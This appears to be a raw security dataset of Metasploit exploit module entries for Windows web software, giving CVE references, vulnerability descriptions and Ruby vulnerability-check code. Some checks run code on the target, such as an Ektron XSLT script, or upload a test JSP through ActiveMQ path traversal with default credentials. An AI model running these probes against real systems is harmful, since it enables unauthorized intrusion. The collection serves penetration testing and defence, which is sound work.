deardaniel/secdata-raw huggingface dataset:
Metasploit Module: ManageEngine Endpoint Central Unauthenticated SAML RCE
Type: exploit
Path: modules/exploits/windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966.rb
Platform: java
Disclosure date: 2023-01-10
References: CVE-2022-47966, URL-https://blog.viettelcybersecurity.com/saml-show-stopper/, URL-https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/, URL-https://github.com/horizon3ai/CVE-2022-47966, URL-https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis
Targets: Java (in-memory), Windows EXE Dropper, Windows Command

Description:
This exploits an unauthenticated remote code execution vulnerability
          that affects Zoho ManageEngine Endpoint Central and MSP versions 10.1.2228.10
          and below (CVE-2022-47966). Due to a dependency to an outdated library
          (Apache Santuario version 1.4.1), it is possible to execute arbitrary
          code by providing a crafted `samlResponse` XML to the Endpoint Central
          SAML endpoint. Note that the target is only vulnerable if it is
          configured with SAML-based SSO , and the service should be active.

Check method (fingerprinting):
# check if SAML-based SSO is enabled otherwise exploit will fail
    # No additional fingerprint / banner information available to collect and determine version
    return Exploit::CheckCode::Safe('SAML-based SSO is not enabled') unless check_saml_enabled

    CheckCode::Detected('SAML-based SSO is enabled.')
  end
Metasploit Module: PSO Proxy v0.91 Stack Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/psoproxy91_overflow.rb
Platform: win
Disclosure date: 2004-02-20
References: CVE-2004-0313, OSVDB-4028, EDB-156, BID-9706

Description:
This module exploits a buffer overflow in the PSO Proxy v0.91 web server.
          If a client sends an excessively long string the stack is overwritten.

Check method (fingerprinting):
connect
    sock.put("GET / HTTP/1.0\r\n\r\n")
    banner = sock.get_once
    if (banner.to_s =~ /PSO Proxy 0\.9/)
      return Exploit::CheckCode::Appears('Target appears to be vulnerable')
    end

    return Exploit::CheckCode::Safe('Target is not vulnerable')
  end
Metasploit Module: HP OpenView Network Node Manager ovalarm.exe CGI Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb
Platform: win
Disclosure date: 2009-12-09
References: CVE-2009-4179, OSVDB-60930, BID-37347, URL-http://dvlabs.tippingpoint.com/advisory/TPTI-09-12, URL-http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01950877

Description:
This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53.
          By sending a specially crafted CGI request to ovalarm.exe, an attacker can execute
          arbitrary code.

          This specific vulnerability is due to a call to "sprintf_new" in the "isWide"
          function within "ovalarm.exe". A stack buffer overflow occurs when processing an
          HTTP request that contains the following.

          1. An "Accept-Language" header longer than 100 bytes
          2. An "OVABverbose" URI variable set to "on", "true" or "1"

          The vulnerability is related to "_WebSession::GetWebLocale()".

          NOTE: This exploit has been tested successfully with a reverse_ord_tcp payload.
Metasploit Module: Ektron 8.02 XSLT Transform Remote Code Execution
Type: exploit
Path: modules/exploits/windows/http/ektron_xslt_exec.rb
Platform: win
Disclosure date: 2012-10-16
References: CVE-2012-5357, OSVDB-88107, URL-http://webstersprodigy.net/2012/10/25/cve-2012-5357cve-1012-5358-cool-ektron-xslt-rce-bugs/, URL-http://technet.microsoft.com/en-us/security/msvr/msvr12-016

Description:
This module exploits a vulnerability in Ektron CMS 8.02 (before SP5). The
          vulnerability exists due to the insecure usage of XslCompiledTransform, using a
          XSLT controlled by the user. The module has been tested successfully on Ektron CMS
          8.02 over Windows 2003 SP2, which allows to execute arbitrary code with NETWORK
          SERVICE privileges.

Check method (fingerprinting):
fingerprint = rand_text_alpha(5 + rand(5))
    xslt_data = <<~XSLT
      <?xml version='1.0'?>
      <xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:msxsl="urn:schemas-microsoft-com:xslt"
      xmlns:user="http://mycompany.com/mynamespace">
      <msxsl:script language="C#" implements-prefix="user">
      <![CDATA[
      public string xml()
      {
      return "#{fingerprint}";
      }
      ]]>
      </msxsl:script>
      <xsl:template match="/">
      <xsl:value-of select="user:xml()"/>
      </xsl:template>
      </xsl:stylesheet>
    XSLT

    res = send_request_cgi(
      {
        'uri' => "#{uri_path}WorkArea/ContentDesigner/ekajaxtransform.aspx",
        'version' => '1.1',
        'method' => 'POST',
        'ctype' => "application/x-www-form-urlencoded; charset=UTF-8",
        'headers' => {
          "Referer" => build_referer
        },
        'vars_post' => {
          "xml" => rand_text_alpha(5 + rand(5)),
          "xslt" => xslt_data
        }
      }
    )

    if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
      return Exploit::CheckCode::Vulnerable('Successfully executed XSLT code on target')
    end

    return Exploit::CheckCode::Safe('Target does not appear to be vulnerable')
  end
Metasploit Module: Dup Scout Enterprise GET Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/dupscts_bof.rb
Platform: win
Disclosure date: 2017-03-15
References: CVE-2017-13696, EDB-42557, EDB-49217

Description:
This module exploits a stack-based buffer overflow vulnerability
          in the web interface of Dup Scout Enterprise versions <= 10.0.18,
          caused by improper bounds checking of the request path in HTTP GET
          requests sent to the built-in web server which can be leveraged
          to execute arbitrary code in the context of NT AUTHORITY\SYSTEM.

          This module supports x86 versions of Dup Scout Enterprise and x86
          Windows operating systems only and has been tested successfully on
          Windows 7 SP1 (x86) and Windows XP SP0 (x86).

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => '/',
      'method' => 'GET'
    })

    unless res
      return CheckCode::Unknown('Connection failed.')
    end

    version = res.body.scan(/>Dup Scout Enterprise v([\d.]+)</).flatten.first

    unless version
      return CheckCode::Safe('Target is not Dup Scout Enterprise.')
    end

    unless target_for_version(version)
      return CheckCode::Detected("No targets for Dup Scout Enterprise version #{version}.")
    end

    CheckCode::Appears("Dup Scout Enterprise version #{version}.")
  end
Metasploit Module: PHP CGI Argument Injection Remote Code Execution
Type: exploit
Path: modules/exploits/windows/http/php_cgi_arg_injection_rce_cve_2024_4577.rb
Platform: php
Disclosure date: 2024-06-06
References: CVE-2024-4577, URL-https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/, URL-https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
Targets: Windows PHP, Windows Command

Description:
This module exploits a PHP CGI argument injection vulnerability affecting PHP in certain configurations
          on a Windows target. A vulnerable configuration is locale dependant (such as Chinese or Japanese), such that
          the Unicode best-fit conversion scheme will unexpectedly convert a soft hyphen (0xAD) into a dash (0x2D)
          character. Additionally a target web server must be configured to run PHP under CGI mode, or directly expose
          the PHP binary. This issue has been fixed in PHP 8.3.8 (for the 8.3.x branch), 8.2.20 (for the 8.2.x branch),
          and 8.1.29 (for the 8.1.x branch). PHP 8.0.x and below are end of life and have note received patches.

          XAMPP is vulnerable in a default configuration, and we can target the /php-cgi/php-cgi.exe endpoint. To target
          an explicit .php endpoint (e.g. /index.php), the server must be configured to run PHP scripts in CGI mode.

Check method (fingerprinting):
res = send_exploit_request_cgi('', allow_url_include: false)

    return CheckCode::Unknown('Connection failed') unless res

    if res.code == 200 && (res.body.include? '\'php://input\'')
      return CheckCode::Vulnerable(res.headers['Server'])
    end

    CheckCode::Safe('Ensure TARGETURI is set to a valid PHP CGI endpoint.')
  end
Metasploit Module: Advantech iView Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/windows/http/advantech_iview_unauth_rce.rb
Platform: win
Disclosure date: 2021-02-09
References: CVE-2021-22652, URL-https://www.rapid7.com/blog/post/2021/02/11/cve-2021-22652-advantech-iview-missing-authentication-rce-fixed/, URL-https://us-cert.cisa.gov/ics/advisories/icsa-21-040-02
Targets: Windows Command, Windows Dropper, PowerShell Stager

Description:
This module exploits an unauthenticated configuration change combined
          with an unauthenticated file write primitive, leading to an arbitrary
          file write that allows for remote code execution as the user running
          iView, which is typically NT AUTHORITY\SYSTEM.

          This issue was demonstrated in the vulnerable version 5.7.02.5992 and
          fixed in version 5.7.03.6112.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'MenuServlet'),
      'vars_post' => {
        'page_action_type' => 'getMenuFragment',
        'page' => 'version.frag'
      }
    )
    return CheckCode::Unknown('Target did not return HTTP 200') unless res&.code == 200

    version = res.get_html_document.xpath('string(//input[starts-with(@value, "Version")]/@value)')
    return CheckCode::Unknown('Could not extract version information') unless version =~ /Version (\d+\.\d+) \(Build ([\d.]+)\)/

    version = "#{Regexp.last_match(1)}.#{Regexp.last_match(2)}"
    vprint_status("Identified the version as #{version}")
    return CheckCode::Safe("Version #{version} is not vulnerable") if Rex::Version.new(version) >= Rex::Version.new('5.7.03.6112')

    CheckCode::Appears("Detected vulnerable version: #{version}")
  end
Metasploit Module: Ericom AccessNow Server Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/ericom_access_now_bof.rb
Platform: win
Disclosure date: 2014-06-02
References: ZDI-14-160, CVE-2014-3913, BID-67777, URL-http://www.ericom.com/security-ERM-2014-610.asp

Description:
This module exploits a stack based buffer overflow in Ericom AccessNow Server. The
          vulnerability is due to an insecure usage of vsprintf with user controlled data,
          which can be triggered with a malformed HTTP request. This module has been tested
          successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003
          Server SP2.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => '/AccessNow/start.html'
    })

    unless res && res.code == 200 && res.headers['Server']
      return Exploit::CheckCode::Safe('Target is not vulnerable')
    end

    if res.headers['Server'] =~ /Ericom AccessNow Server/
      return Exploit::CheckCode::Appears('Ericom AccessNow 2.4 detected')
    elsif res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /Ericom Access Server/
      return Exploit::CheckCode::Detected('Ericom AccessNow 3 detected')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: Sybase EAServer 5.2 Remote Stack Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/sybase_easerver.rb
Platform: win
Disclosure date: 2005-07-25
References: CVE-2005-2297, OSVDB-17996, BID-14287

Description:
This module exploits a stack buffer overflow in the Sybase EAServer Web
          Console. The offset to the SEH frame appears to change depending
          on what version of Java is in use by the remote server, making this
          exploit somewhat unreliable.
Metasploit Module: SHTTPD URI-Encoded POST Request Overflow
Type: exploit
Path: modules/exploits/windows/http/shttpd_post.rb
Platform: win
Disclosure date: 2006-10-06
References: CVE-2006-5216, OSVDB-29565, URL-http://shttpd.sourceforge.net, BID-20393

Description:
This module exploits a stack buffer overflow in SHTTPD <= 1.34.
          The vulnerability is caused due to a boundary error within the
          handling of POST requests. Based on an original exploit by skOd
          but using a different method found by hdm.
Metasploit Module: Icecast Header Overwrite
Type: exploit
Path: modules/exploits/windows/http/icecast_header.rb
Platform: win
Disclosure date: 2004-09-28
References: CVE-2004-1561, OSVDB-10406, BID-11271, URL-http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html

Description:
This module exploits a buffer overflow in the header parsing of icecast
          versions 2.0.1 and earlier, discovered by Luigi Auriemma. Sending 32
          HTTP headers will cause a write one past the end of a pointer array. On
          win32 this happens to overwrite the saved instruction pointer, and on
          linux (depending on compiler, etc) this seems to generally overwrite
          nothing crucial (read not exploitable).

          This exploit uses ExitThread(), this will leave icecast thinking the
          thread is still in use, and the thread counter won't be decremented.
          This means for each time your payload exits, the counter will be left
          incremented, and eventually the threadpool limit will be maxed. So you
          can multihit, but only till you fill the threadpool.
Metasploit Module: LG Simple Editor Command Injection (CVE-2023-40504)
Type: exploit
Path: modules/exploits/windows/http/lg_simple_editor_rce_uploadvideo.rb
Platform: win
Disclosure date: 2023-08-04
References: URL-https://www.zerodayinitiative.com/advisories/ZDI-23-1208/, CVE-2023-40504
Targets: Windows_Fetch

Description:
Unauthenticated Command Injection in LG Simple Editor <= v3.21.0.
          The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM.

Check method (fingerprinting):
res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri, 'simpleeditor', 'common', 'commonReleaseNotes.do')
      }
    )

    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?

    version_text = res.get_html_document.xpath('//h2')[0]&.text&.gsub('v', '')
    return Exploit::CheckCode::Unknown('Could not determine version') if version_text.blank? || version_text == 'Unknown'

    version = Rex::Version.new(version_text)
    return Exploit::CheckCode::Unknown('Could not parse version') if version == Rex::Version.new('0')
    return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('3.21.0')

    Exploit::CheckCode::Safe("Target is not vulnerable based on version: #{version}")
  end
Metasploit Module: Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload
Type: exploit
Path: modules/exploits/windows/http/apache_activemq_traversal_upload.rb
Platform: win
Disclosure date: 2015-08-19
References: CVE-2015-1830, EDB-40857, URL-https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt
Targets: Windows Java

Description:
This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache
          ActiveMQ 5.x before 5.11.2 for Windows.

          The module tries to upload a JSP payload to the /admin directory via the traversal
          path /fileserver/..\admin\ using an HTTP PUT request with the default ActiveMQ
          credentials admin:admin (or other credentials provided by the user). It then issues
          an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the
          payload and obtain a shell.

Check method (fingerprinting):
print_status('Running check...')
    testfile = Rex::Text.rand_text_alpha(10)
    testcontent = Rex::Text.rand_text_alpha(10)

    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
      'headers' => {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      },
      'method' => 'PUT',
      'data' => "<% out.println(\"#{testcontent}\");%>"
    })

    res1 = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "admin/#{testfile}.jsp"),
      'headers' => {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      },
      'method' => 'GET'
    })

    if res1 && res1.body.include?(testcontent)
      send_request_cgi(
        {
          'uri' => normalize_uri(target_uri.path, "admin/#{testfile}.jsp"),
          'headers' => {
            'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
          },
          'method' => 'DELETE'
        },
        1
      )
      return Exploit::CheckCode::Vulnerable('Target is vulnerable')
    end

    Exploit::CheckCode::Safe('Target is not vulnerable')
  end
Metasploit Module: pgAdmin Binary Path API RCE
Type: exploit
Path: modules/exploits/windows/http/pgadmin_binary_path_api.rb
Platform: windows
Disclosure date: 2024-03-28
References: CVE-2024-3116, URL-https://ayoubmokhtar.com/post/remote_code_execution_pgadmin_8.4-cve-2024-3116/, URL-https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-pgadmin-cve-2024-3116

Description:
pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE)
          vulnerability through the validate binary path API. This vulnerability
          allows attackers to execute arbitrary code on the server hosting PGAdmin,
          posing a severe risk to the database management system's integrity and the security of the underlying data.

          Tested on pgAdmin 8.4 on Windows 10 both authenticated and unauthenticated.

Check method (fingerprinting):
check_version('8.5')
  end
Metasploit Module: Kolibri HTTP Server HEAD Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/kolibri_http.rb
Platform: win
Disclosure date: 2010-12-26
References: CVE-2002-2268, OSVDB-70808, BID-6289, EDB-15834

Description:
This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.

Check method (fingerprinting):
info = http_fingerprint
    if info and (info =~ /kolibri-2\.0/)
      return Exploit::CheckCode::Appears('Target appears to be vulnerable')
    end

    Exploit::CheckCode::Safe('Target is not vulnerable')
  end
Metasploit Module: Umbraco CMS Remote Command Execution
Type: exploit
Path: modules/exploits/windows/http/umbraco_upload_aspx.rb
Platform: win
Disclosure date: Jun 28 2012
References: CVE-2012-10054, OSVDB-83765, EDB-19671, URL-http://blog.gdssecurity.com/labs/2012/7/3/find-bugs-faster-with-a-webmatrix-local-reference-instance.html, URL-http://umbraco.codeplex.com/workitem/18192

Description:
This module can be used to execute a payload on Umbraco CMS 4.7.0.378.
        The payload is uploaded as an ASPX script by sending a specially crafted
        SOAP request to codeEditorSave.asmx, which permits unauthorized file upload
        via the SaveDLRScript operation. SaveDLRScript is also subject to a path
        traversal vulnerability, allowing code to be placed into the web-accessible
        /umbraco/ directory.

        The module writes, executes and then overwrites an ASPX script; note that
        though the script content is removed, the file remains on the target. Automatic
        cleanup of the file is intended if a meterpreter payload is used.

        This module has been tested successfully on Umbraco CMS 4.7.0.378 on a Windows
        7 32-bit SP1. In this scenario, the "IIS APPPOOL\ASP.NET v4.0" user must have
        write permissions on the Windows Temp folder.
Metasploit Module: MailEnable Authorization Header Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/mailenable_auth_header.rb
Platform: win
Disclosure date: 2005-04-24
Authors: David Maciejak <david.maciejak[at]kyxar.fr>
References: CVE-2005-1348, OSVDB-15913, OSVDB-15737, BID-13350, URL-http://www.nessus.org/plugins/index.php?view=single&id=18123

Description:
This module exploits a remote buffer overflow in the MailEnable web service.
          The vulnerability is triggered when a large value is placed into the Authorization
          header of the web request. MailEnable Enterprise Edition versions prior to 1.0.5 and
          MailEnable Professional versions prior to 1.55 are affected.

Check method (fingerprinting):
info = http_fingerprint # check method
    if (info =~ /MailEnable/)
      return Exploit::CheckCode::Detected('Target service detected')
    end

    Exploit::CheckCode::Safe('Target is not vulnerable')
  end
Metasploit Module: Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution
Type: exploit
Path: modules/exploits/windows/http/ektron_xslt_exec_ws.rb
Platform: win
Disclosure date: 2015-02-05
References: CVE-2015-0923, US-CERT-VU-377644, URL-http://www.websecuritywatch.com/xxe-arbitrary-code-execution-in-ektron-cms/
Targets: Windows 2008 R2 / Ektron CMS400 8.5

Description:
Ektron 8.5, 8.7 <= sp1, 9.0 < sp1 have
          vulnerabilities in various operations within the ServerControlWS.asmx
          web services. These vulnerabilities allow for RCE without authentication and
          execute in the context of IIS on the remote system.

Check method (fingerprinting):
fingerprint = rand_text_alpha(5 + rand(5))
    xslt_data = <<~XSLT
      #{prologue}
                  public string xml() {
                    return "#{fingerprint}";
                  }
      #{epilogue}
    XSLT

    res = send_request_cgi(
      {
        'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx",
        'version' => '1.1',
        'method' => 'POST',
        'ctype' => "text/xml; charset=UTF-8",
        'headers' => {
          "Referer" => build_referer
        },
        'data' => xslt_data
      }
    )

    if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
      return Exploit::CheckCode::Vulnerable('Target is vulnerable')
    end

    return Exploit::CheckCode::Safe('Target is not vulnerable')
  end
Metasploit Module: Apache mod_jk 1.2.20 Buffer Overflow
Type: exploit
Path: modules/exploits/windows/http/apache_modjk_overflow.rb
Platform: win
Disclosure date: 2007-03-02
Authors: Nicob <nicob[at]nicob.net>
References: CVE-2007-0774, OSVDB-33855, BID-22791, ZDI-07-008

Description:
This is a stack buffer overflow exploit for mod_jk 1.2.20.
          Should work on any Win32 OS.

Check method (fingerprinting):
connect

    sock.put("GET / HTTP/1.0\r\n\r\n")
    resp = sock.get_once
    disconnect

    if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1\.2\.20/))) then
      vprint_status("Apache version detected : #{m[1]}")
      return Exploit::CheckCode::Appears('Target appears to be vulnerable')
    else
      return Exploit::CheckCode::Safe('Target is not vulnerable')
    end
  end